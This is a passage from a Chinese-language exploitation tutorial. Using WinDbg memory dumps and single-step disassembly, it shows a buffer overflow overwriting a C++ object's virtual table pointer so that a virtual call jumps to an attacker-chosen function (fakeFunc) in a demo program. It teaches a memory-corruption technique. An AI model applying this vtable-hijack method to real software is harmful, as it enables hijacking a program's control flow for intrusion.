eFunc
00401000 55 push ebp
00401001 8bec mov ebp,esp
绿色字体部分:'\x08','\xff','\x12','\x00',这4B正好覆盖obj1的虚函数表指针:
这是覆盖前buf和Obj1的内存情况:
0:000> dd buf L8
0012ff08 00000000 00000000 cccccccc cccccccc
0012ff18 0043b1c0 aaaaaaaa cccccccc cccccccc
这是执行memcpy之后覆盖Obj1的情况:
0:000> dd buf L8
0012ff08 00401000 cccccccc cccccccc cccccccc
0012ff18 0012ff08 aaaaaaaa cccccccc cccccccc
最后,看下覆盖后程序objPtr->test()执行情况:
图中红框是objPtr->test()对应的反汇编代码,我们单步执行查看结果:
0:000> t
virtual!main+0x5c:
004010ac 8b10 mov edx,dword ptr [eax] ds:0023:0012ff18=0012ff08
0:000> r eax
eax=0012ff18
1.这步是取objPtr指针地址,eax=0x12ff18,对应objPtr对象起址,同时是虚函数表指针地址
0:000> p
virtual!main+0x5e:
004010ae 8bf4 mov esi,esp
0:000> r edx
edx=0012ff08
2.这步是从虚函数表指针取虚表地址到edx
004010b3 8b02 mov eax,dword ptr [edx] ds:0023:0012ff08={virtual!fakeFunc (00401000)}
0:000> p
eip=004010b5 esp=0012fe38 ebp=0012ff34
virtual!main+0x65:
004010b5 ffd0 call eax {virtual!fakeFunc (00401000)}
3.跳过_chkesp相关的代码,继续执行的结果。
前面说过当前虚表中只有一项,当前edx存放虚表地址,因此[edx]中的值存了被伪造的虚函数的地址0x401000,将其存放到eax
0:000> r eax
eax=00401000
之后,F5运行,查看结果,已经跳转到fakeFunc中:
至此,溢出利用虚函数表指针成功